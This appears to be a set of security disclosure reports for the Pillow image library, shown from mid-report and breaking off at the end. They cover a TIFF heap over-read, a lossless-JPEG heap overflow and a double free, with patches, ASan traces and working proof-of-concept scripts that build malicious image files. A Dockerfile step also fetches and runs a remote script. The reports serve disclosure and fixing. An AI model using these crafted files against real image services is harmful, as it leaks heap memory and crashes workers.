Any application that calls Image.open() + load() (or thumbnail(), convert(), save(), …) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and TiffDecode.c without READLIBTIFF being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included — up to three libtiff tile rows past the buffer for the RGBX-over-8-bit case, with the tile row length (TileWidth) chosen by the attacker. state->buffer is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about (unpackerbpp / libtiffbpp − 1) tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized Imaging rows, so this is disclosure / crash, not memory corruption.
This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in TiffDecode.c); that fix and the later crash-0da0 fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a ("Check for dimensions and sizes to fit into int", 2021-01-25), which switched decodeTile() from a buffer sized by Pillow's unpacker to TIFFTileSize()/TIFFTileRowSize(); it is first in Pillow 8.2.0. The decodeAsRGBA() half dates from eb8c1206d6b1 ("Fix CVE-2020-35654 - OOB Write in TiffDecode.c"), first in 8.1.0.
Reproducing
Run repro (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end.
The script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and TiffDecode.c. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process:
- tilecount2.tif: a 16x16, 1-sample, 8-bit tile with PhotometricInterpretation written as SHORT count 2, (6, 6). Pillow keeps 6 and unpacks with copy4 (RGBX, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased). - tiledup.tif: a 16x16, 3-sample, 8-bit tile with PhotometricInterpretation present twice, 2 then 6. libtiff keeps 2 (RGB, 3 bytes per pixel) and Pillow keeps 6 (RGBX, 4 bytes per pixel). This variant also applies to released versions. - ycbcrdup.tif: the 16x16 strip with BitsPerSample 8,8,8 then 16,16,16 and PhotometricInterpretation 6 then 2. libtiff decodes 8-bit YCbCr through decodeAsRGBA() (4 bytes per pixel), and Pillow unpacks RGB;16N with unpackRGB16L (6 bytes per pixel). - tilebig.tif: the tilecount2.tif layout with a single 65536x16 tile.
For each of the first three files, the script runs Image.open() + load() + tobytes() twice, once with MALLOCPERTURB=85 and once with =170. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the aa/55 fill bytes show up, along with heap pointer bytes. The script then decodes tilebig.tif and checks for a SIGSEGV (exit status -11). If gdb is available, it prints the top frames: copy4 (Unpack.c:1290) ← decodeTile (TiffDecode.c:483) ← ImagingLibTiffDecode. This crash depends on ASLR, so an occasional run may survive.
Each step prints which imaging build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is BUG if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is OK.
Suggested fix
The attached patch restores the decodeStrip() invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in src/libImaging/TiffDecode.c, at the point where each one sizes its buffer:
- decodeTile() computes unpackerrowbytesize = ((tsizet)tilewidth state->bits / planes + 7) / 8 (the tsizet cast keeps the product out of 32-bit arithmetic, so the TILEWIDTH = 2^26+16 case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing TIFFTileSize() sanity check, as decodeStrip() does for strips. After that check and before the realloc, it fails with IMAGINGCODECBROKEN when unpackerrowbytesize > rowbytesize (TIFFTileRowSize()). - decodeAsRGBA() fails with IMAGINGCODECBROKEN when state->bits > 32, because TIFFRGBAImage rows are always 32 bits per pixel. This check runs before TIFFRGBAImageBegin() and any allocation.
With the patch, the tile and RGBA files fail load() with OSError: decoder error -2, the same result the equivalent strip file already gets. The patch also adds a regression test to Tests/testfilelibtiff.py (testunpackerrowwiderthanlibtiffrow). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and Tests/testfiletiff.py, Tests/testfilelibtiff.py and Tests/testtiffcrashes.py pass.
These checks close the over-read however the two parsers are made to disagree. Separately, setup() could stop deriving the libtiff rawmode from tags that libtiff will read differently — e.g. treat a PhotometricInterpretation/BitsPerSample/Compression that is not a single well-typed value as "unknown pixel mode", the way ImageWidth/ImageLength are already required to be int at TiffImagePlugin.py:1473, or have ImageFileDirectoryv2.load() keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) — but that only narrows the ways to reach the C-side gap rather than removing it: TiffImagePlugin cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read.
The patch
Reject TIFFs whose unpacker row is wider than libtiff's decoded row in decodeTile() and decodeAsRGBA(), as decodeStrip() already does
Applies to src/libImaging/TiffDecode.c at the commit above.
diff diff --git a/Tests/testfilelibtiff.py b/Tests/testfilelibtiff.py index 3d804ea4a..c08dfe77c 100644 --- a/Tests/testfilelibtiff.py +++ b/Tests/testfilelibtiff.py @@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase): with pytest.raises(OSError, match="decoder error -9"): im.load() + @pytest.mark.parametrize( + "data", + ( + # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that + # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel) + # while libtiff ignores it and decodes 1 byte/pixel. + ( + b"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA" + b"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA" + b"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4" + b"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm" + b"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT" + b"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A" + b"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt" + b"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna" + b"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo=" + ), + # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation + # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA) + # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel). + ( + b"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA" + b"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA" + b"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB" + b"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS" + b"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3" + b"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J" + b"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x" + b"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w" + b"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x" + b"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA" + b"EAAQAA==" + ), + ), + ) + @pytest.mark.filterwarnings("ignore:Metadata Warning") + def testunpackerrowwiderthanlibtiffrow(self, data: bytes) -> None: + # The unpacker chosen by Pillow reads more bytes per row than libtiff + # decoded, so the decoder must reject the image rather than read past + # the end of its buffer + with Image.open(io.BytesIO(base64.b64decode(data))) as im: + with pytest.raises(OSError, match="decoder error -2"): + im.load() + @pytest.mark.parametrize("compression", ("tiffadobedeflate", "jpeg")) def testsavemultistrip(self, compression: str, tmppath: Path) -> None: im = hopper("RGB").resize((256, 256)) diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..2ee6c5f0a 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -304,6 +304,15 @@ decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF tiff) { TRACE(("RowsPerBlock: %u \n", rowsperblock)); + // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel + // than that, (at least) the last row of the block will have a read buffer + // overflow. + if (state->bits > 32) { + TRACE(("Decode Error, unpacker bits %d > 32\n", state->bits)); + state->errcode = IMAGINGCODECBROKEN; + return -1; + } + if (!(TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg))) { TRACE(("Decode error, msg: %s", emsg)); state->errcode = IMAGINGCODECBROKEN; @@ -397,7 +406,7 @@ decodeTile( ) { INT32 x, y, tiley, currenttilelength, currenttilewidth; UINT32 tilewidth, tilelength; - tsizet tilebytessize, rowbytesize; + tsizet tilebytessize, rowbytesize, unpackerrowbytesize; UINT8 newdata; tilebytessize = TIFFTileSize(tiff); @@ -431,7 +440,8 @@ decodeTile( return -1; } - if (tilebytessize > ((tilelength state->bits / planes + 7) / 8) tilewidth) { + unpackerrowbytesize = ((tsizet)tilewidth state->bits / planes + 7) / 8; + if (tilebytessize > (unpackerrowbytesize tilelength)) { // If the tile size as expected by LibTiff isn't what we're expecting, abort. // man: TIFFTileSize returns the equivalent size for a tile of data as it // would be returned in a call to TIFFReadTile ... @@ -439,6 +449,13 @@ decodeTile( return -1; } + // if the unpacker calculated row size is > row byte size, (at least) the last + // row of the tile will have a read buffer overflow. + if (unpackerrowbytesize > rowbytesize) { + state->errcode = IMAGINGCODECBROKEN; + return -1; + } + state->bytes = tilebytessize; TRACE(("TIFFTileSize: %d\n", state->bytes));
The reproducer
<details> <summary>Reproducer — <code>repro</code>, 4,178 bytes (click to open)</summary>
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
python #!/usr/bin/env python3 Heap over-read in decodeTile()/decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build, no sanitizer needed. Pillow picks the row unpacker from its own IFD parse, libtiff sizes the decode buffer from its parse; when they disagree the unpacker reads past state->buffer and the bytes land in the image. Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's MALLOCPERTURB fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile SIGSEGVs in copy4 <- decodeTile. Runs in a few seconds. import os, shutil, struct, subprocess, sys, tempfile, zlib
W = tempfile.mkdtemp(); S, L = 3, 4
def tiff(entries, data): # little-endian classic TIFF, one IFD, tags in given order dataoff = 8 + 2 + 12 len(entries) + 4; extraoff = dataoff + len(data) ifd, extra = struct.pack("<H", len(entries)), b"" for tag, typ, vals in entries: if vals is None: typ, vals = L, [dataoff] raw = b"".join(struct.pack("<H" if typ == S else "<L", v) for v in vals) if len(raw) > 4: raw, extra = struct.pack("<L", extraoff + len(extra)), extra + raw ifd += struct.pack("<HHL", tag, typ, len(vals)) + raw.ljust(4, b"\0") return b"II\0" + struct.pack("<L", 8) + ifd + b"\0" 4 + data + extra
def tile(w, h, spp, photo): # one deflate tile, 8 bit/sample d = zlib.compress(bytes(i % 251 for i in range(w h spp))) return tiff([(256, L, [w]), (257, L, [h]), (258, S, [8] spp), (259, S, [8])] + photo + [(277, S, [spp]), (322, L, [w]), (323, L, [h]), (324, L, None), (325, L, [len(d)])], d)
d = zlib.compress(bytes(range(256)) 3) files = { # Photometric count 2 (6,6): libtiff ignores tag -> 1 B/px; Pillow keeps 6 -> RGBX copy4 4 B/px (HEAD only) "tilecount2.tif": tile(16, 16, 1, [(262, S, [6, 6])]), # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions) "tiledup.tif": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]), # strip, libtiff sees 8-bit YCbCr -> decodeAsRGBA 4 B/px; Pillow sees RGB;16 -> 6 B/px "ycbcrdup.tif": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]), (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]), (530, S, [1, 1])], d), "tilebig.tif": tile(65536, 16, 1, [(262, S, [6, 6])]), } for n, b in files.items(): open(f"{W}/{n}", "wb").write(b)
LOAD = r""" import sys, warnings; warnings.simplefilter("ignore") from PIL import Image im = Image.open(sys.argv[1]); print(Image.core.file, im.mode, im.size, im.tile[0].args[0], file=sys.stderr) im.load(); sys.stdout.write(im.tobytes().hex()) """ def run(name, perturb): p = subprocess.run([sys.executable, "-c", LOAD, f"{W}/{name}"], captureoutput=True, text=True, env=dict(os.environ, MALLOCPERTURB=str(perturb))) return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [""]
leak = False for n in ("tilecount2.tif", "tiledup.tif", "ycbcrdup.tif"): r1, a, info = run(n, 85); r2, b, = run(n, 170) print(f"== {n}: {info[0]} rc={r1},{r2}") if r1 == 0 and r2 == 0 and a != b: i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2]) print(f" pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:") print(f" PERTURB=85 : ...{a[i-8:i+40]}\n PERTURB=170: ...{b[i-8:i+40]}") leak = True else: print(" identical output / error -> no leak observed")
rc, , info = run("tilebig.tif", 0) print(f"== tilebig.tif: {info[0]} rc={rc}" + (" (SIGSEGV)" if rc == -11 else "")) crash = rc == -11 if crash and shutil.which("gdb"): bt = subprocess.run(["gdb", "-batch", "-ex", "run", "-ex", "bt 4", "--args", sys.executable, "-c", LOAD, f"{W}/tilebig.tif"], captureoutput=True, text=True).stdout print("\n".join(l for l in bt.splitlines() if l.startswith("#"))) shutil.rmtree(W) print(f"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}") print("BUG" if leak or crash else "OK") </details>
---
Summary
JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self.size and the tile extents to match, so setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scalenum/scaledenom, calls jpegstartdecompress(), and then reads scanlines into that buffer without ever comparing cinfo.outputwidth, cinfo.outputheight or cinfo.outcolorcomponents against state->xsize, state->ysize and state->bits.
libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scaledenom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpegreadscanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.
The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.
Affected code
At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):
- src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpegstartdecompress() at :240, jpegreadscanlines() at :252, with no geometry check between them. - src/decode.c:222-231 — setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits state->xsize + 7) / 8. - src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks size, the tile extents and decoderconfig with no notion of lossless coding. - src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).
c // src/libImaging/JpegDecode.c if (context->scale > 1) { context->cinfo.scalenum = 1; context->cinfo.scaledenom = context->scale; } ... case 2: if (!jpegstartdecompress(&context->cinfo)) { break; } state->state++; / fall through / case 3: ok = 1; while (state->y < state->ysize) { ok = jpegreadscanlines(&context->cinfo, &state->buffer, 1);
Because state->ysize (ceil(H/s)) can never equal libjpeg's outputheight when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.
Primitive
Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.
Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.
Threshold: draft() must select s >= 2, i.e. W // requestedw >= 2 and H // requestedh >= 2. For thumbnail((256,256)) with the default reducinggap=2.0 that means W, H >= 1024.
Reproduction
Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGETCOMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, makesof3.py and trigger.py in an empty directory, then:
bash docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob
makesof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.
Dockerfile
dockerfile FROM ubuntu:24.04 ENV DEBIANFRONTEND=noninteractive ARG TARGETCOMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a ARG CLANGVERSION=20 ARG LIBJPEGTURBOTAG=3.1.4
RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates git make cmake nasm pkg-config libc6-dev gcc \ wget gnupg lsb-release software-properties-common \ python3 python3-dev python3-pip python3-venv zlib1g-dev \ && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANGVERSION} \ && apt-get install -y --no-install-recommends clang-${CLANGVERSION} llvm-${CLANGVERSION} libclang-rt-${CLANGVERSION}-dev \ && rm -rf /var/lib/apt/lists/
ENV CC=clang-20 ENV CXX=clang++-20 ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV LDFLAGS="-fsanitize=address"
--- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan --- RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEGTURBOTAG} \ && cmake -B /build/ljt -S . -DCMAKEBUILDTYPE=None \ -DCMAKECCOMPILER=clang-20 \ -DCMAKECFLAGS="$CFLAGS" \ -DCMAKEEXELINKERFLAGS="$LDFLAGS" \ -DCMAKESHAREDLINKERFLAGS="$LDFLAGS" \ -DCMAKEINSTALLPREFIX=/opt/ljt -DWITHJPEG8=0 -DENABLESTATIC=0 \ && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt
--- Pillow at the pinned commit, built with ASan against that libjpeg --- RUN git clone https://github.com/python-pillow/Pillow /src/repo WORKDIR /src/repo RUN git checkout ${TARGETCOMMIT}
ENV JPEGROOT=/opt/ljt ENV LDLIBRARYPATH=/opt/ljt/lib RUN python3 -m venv /venv \ && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \ && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \ /venv/bin/pip install --no-build-isolation --no-deps . \ && ln -sf "$(clang-20 -print-file-name=libclangrt.asan-x8664.so)" /opt/libasan.so \ && LDPRELOAD=/opt/libasan.so ASANOPTIONS=detectleaks=0 \ /venv/bin/python3 -c "from PIL import Image, features; print(Image.version, features.version('jpg'))"
COPY makesof3.py /tmp/makesof3.py COPY trigger.py /tmp/trigger.py RUN python3 /tmp/makesof3.py /tmp/sof3gray1200x1100.jpg
ENV ASANOPTIONS=detectleaks=0:abortonerror=1:symbolize=1 ENV ASANSYMBOLIZERPATH=/usr/lib/llvm-20/bin/llvm-symbolizer ENV LDPRELOAD=/opt/libasan.so CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]
makesof3.py
python #!/usr/bin/env python3 """Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.
Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra). Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact). """ import struct import sys
W = 1200 H = 1100 MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer
class BitWriter: def init(self): self.out = bytearray() self.acc = 0 self.n = 0
def put(self, value, nbits): for i in range(nbits - 1, -1, -1): self.acc = (self.acc << 1) | ((value >> i) & 1) self.n += 1 if self.n == 8: self.out.append(self.acc) if self.acc == 0xFF: self.out.append(0x00) # byte stuffing self.acc = 0 self.n = 0
def flush(self): while self.n: self.put(1, 1) return bytes(self.out)
Canonical Huffman: 17 symbols (categories 0..16), all of code length 5. BITS = [0] 17 BITS[5] = 17 HUFFVAL = list(range(17)) CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}
def category(d): if d == 0: return 0 return abs(d).bitlength()
def buildpixels(): rows = [] for y in range(H): row = bytearray() while len(row) < W: row += MARKER rows.append(bytes(row[:W])) return rows
def main(path): rows = buildpixels() bw = BitWriter() prev = None for y in range(H): row = rows[y] for x in range(W): s = row[x] if y == 0 and x == 0: pred = 1 << 7 # 2^(P-1-Pt) elif x == 0: pred = prev[0] # Rb for first sample of a line else: pred = row[x - 1] # Ra, predictor 1 d = (s - pred) & 0xFFFF if d >= 0x8000: d -= 0x10000 ssss = category(d) code, length = CODES[ssss] bw.put(code, length) if ssss: v = d if d > 0 else d + (1 << ssss) - 1 bw.put(v & ((1 << ssss) - 1), ssss) prev = row entropy = bw.flush()
out = bytearray() out += b"\xff\xd8" # SOI # DHT: class 0 (DC/lossless), table id 0 dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL) out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht # SOF3: lossless, Huffman, sequential sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0]) out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0 sos = bytes([1, 1, 0x00, 1, 0, 0]) out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos out += entropy out += b"\xff\xd9" # EOI with open(path, "wb") as f: f.write(bytes(out)) print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")
if name == "main": main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3gray1200x1100.jpg")
trigger.py
python import sys from PIL import Image, features print("Pillow", Image.version, "| libjpeg", features.version("jpg"), flush=True) im = Image.open("/tmp/sof3gray1200x1100.jpg") print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True) print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True) sys.stdout.flush() try: im.thumbnail((256, 256)) print("thumbnail returned, size=%s" % (im.size,), flush=True) except Exception as e: print("exception: %r" % (e,), flush=True)
Validated output:
Pillow 13.0.0.dev0 | libjpeg 6.2 format=JPEG mode=L size=(1200, 1100) >> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer ================================================================= ==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422 WRITE of size 1200 at 0x74e4e904aad8 thread T0 #0 asanmemcpy #1 jcopysamplerows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5 #2 sepupsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3 #3 processdatasimplemain /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3 #4 jpegreadscanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3 #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22 #6 decode /src/repo/src/decode.c:132:14
0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8) allocated by thread T0 here: #0 calloc #1 setimage /src/repo/src/decode.c:230:34
SUMMARY: AddressSanitizer: heap-buffer-overflow in asanmemcpy
Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.
control baseline DCT JPEG: JPEG L (1200, 1100) thumbnail OK, size = (256, 235) -- no ASan report
Scope and caveats
- Reproduced on main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0. - Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected. - No non-default Pillow configuration is involved: Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data. - Only paths that use draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducinggap=None), avoids the path in an application today. - Not affected on the same code path: SOF11 (arithmetic lossless) fails with JERRARITHNOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERRSOFUNSUPPORTED.
Credit and disclosure
Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.
This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report.
Credit goes to Claude (Anthropic) and Ada Logics.
============================================================================ Double free in ImagingScaleAffine on calloc failure via Image.transform Location: src/libImaging/Geometry.c:866 in ImagingScaleAffine() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================
There is a double free in Pillow's Image.transform() that crashes the process when an oversized transform runs out of memory. Instead of only raising MemoryError, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of Image.transform() can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable.
The bug is in ImagingScaleAffine() in src/libImaging/Geometry.c (line 866). When its calloc() for the per-column lookup table of 4 × width bytes fails, it calls ImagingDelete(imOut). When the call comes from Image.transform(), imOut is the Imaging struct owned by the live Python ImagingCore output object. dealloc() in src/imaging.c later runs ImagingDelete() on the freed struct again, writing its mutex and refcount in freed memory and freeing the pixel blocks a second time. The path is reached with Transform.EXTENT, or Transform.AFFINE with a pure scale/translate matrix, under the default NEAREST resampling. A very wide, 1-row output size makes the lookup table the allocation that fails while the image itself still fits. On 64-bit Linux with default overcommit, that requires an address-space limit such as ulimit -v, uwsgi --limit-as or systemd LimitAS=. resize(), thumbnail() and rotate() are not affected. The attached reproducer runs on a stock build with a 1 GB limit: transform((300000000, 1), EXTENT) raises and catches MemoryError, then the process dies with SIGSEGV in free() called from dealloc(). A memory-checking build reports the same path as a heap use-after-free. The faulty line was inherited from PIL 1.1.7 in the original fork commit, so every Pillow release since 1.0 is affected. A patch is attached.
Details
ImagingScaleAffine() frees an image it does not own. On the one error path where its calloc() for the per-column lookup table fails, it calls ImagingDelete(imOut). When reached through Image.transform(), imOut is the Imaging struct held by a live Python ImagingCore object; that object's dealloc() later calls ImagingDelete() on the already-freed struct and frees its pixel blocks a second time.
Shortest demonstration on the stock build (the address-space limit stands in for ulimit -v / uwsgi --limit-as / systemd LimitAS= on a worker):
python import resource, gc from PIL import Image resource.setrlimit(resource.RLIMITAS, (1000000000,) 2) src = Image.new("L", (8, 8)) try: src.transform((300000000, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) except MemoryError: pass # expected, and the process should carry on gc.collect() # instead: SIGSEGV in dealloc -> ImagingDelete -> free()
The 300 MB output image allocates; calloc(300000000, 4) (1.2 GB) does not. MemoryError is raised as intended, but the interpreter then dies with SIGSEGV, gdb showing free() ← memoryreturnblock/ImagingDestroyArray (src/libImaging/Storage.c:396,408) ← ImagingDelete (Storage.c:271) ← dealloc (src/imaging.c:188). An AddressSanitizer build of the same sources (with maxallocationsizemb used to make the calloc fail instead of an rlimit) reports heap-use-after-free in ImagingDelete src/libImaging/Storage.c:257 called from dealloc src/imaging.c:188, on a 128-byte region "freed by" ImagingDelete ← ImagingScaleAffine src/libImaging/Geometry.c:866 ← ImagingTransformAffine Geometry.c:1043 ← ImagingTransform Geometry.c:1135 ← transform src/imaging.c:2153, "previously allocated by" ImagingNewPrologueSubtype Storage.c:53 ← … ← new src/imaging.c:756.
Code path
